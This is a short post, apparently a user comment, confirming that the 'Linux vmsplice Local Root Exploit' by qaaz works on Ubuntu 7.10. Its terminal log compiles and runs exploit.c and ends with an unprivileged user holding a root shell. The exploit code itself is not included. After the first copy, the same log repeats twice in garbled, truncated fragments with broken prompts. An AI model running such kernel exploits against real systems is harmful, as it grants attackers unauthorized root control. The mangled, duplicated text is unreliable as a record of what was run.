Luis Alcaraz (Mexico) Confirmed on Ubuntu 7.10 2.6.22-14-generic --- lalcaraz@lalcaraz-laptop:~$ vim exploit.c lalcaraz@lalcaraz-laptop:~$ gcc exploit.c -o exploit lalcaraz@lalcaraz-laptop:~$ whoami lalcaraz lalcaraz@lalcaraz-laptop:~$ ./exploit ----------------------------------- Linux vmsplice Local Root Exploit By qaaz ----------------------------------- [+] mmap: 0x0 .. 0x1000 [+] page: 0x0 [+] page: 0x20 [+] mmap: 0x4000 .. 0x5000 [+] page: 0x4000 [+] page: 0x4020 [+] mmap: 0x1000 .. 0x2000 [+] page: 0x1000 [+] mmap: 0xb7e29000 .. 0xb7e5b000 [+] root root@lalcaraz-laptop:~# whoami root root@lalcaraz-laptop:~# uname -a Linux lalcaraz-laptop 2.6.22-14-generic #1 SMP Fri Feb 1 04:59:50 UTC 2008 i686 GNU/Linux root@lalcaraz-laptop:~#
Luis Alcaraz (Mexico) lalcaraz- laptop: ~$ vim exploit.c lalcaraz- laptop: ~$ gcc exploit.c -o exploit lalcaraz- laptop: ~$ whoami lalcaraz- laptop: ~$ ./exploit ------- ------- ------- ------- ------- ------- ------- ------- laptop: ~# whoami laptop: ~# uname -a laptop: ~#
Confirmed on Ubuntu 7.10 2.6.22-14-generic
---
lalcaraz@
lalcaraz@
lalcaraz@
lalcaraz
lalcaraz@
-------
Linux vmsplice Local Root Exploit
By qaaz
-------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e29000 .. 0xb7e5b000
[+] root
root@lalcaraz-
root
root@lalcaraz-
Linux lalcaraz-laptop 2.6.22-14-generic #1 SMP Fri Feb 1 04:59:50 UTC 2008 i686 GNU/Linux
root@lalcaraz-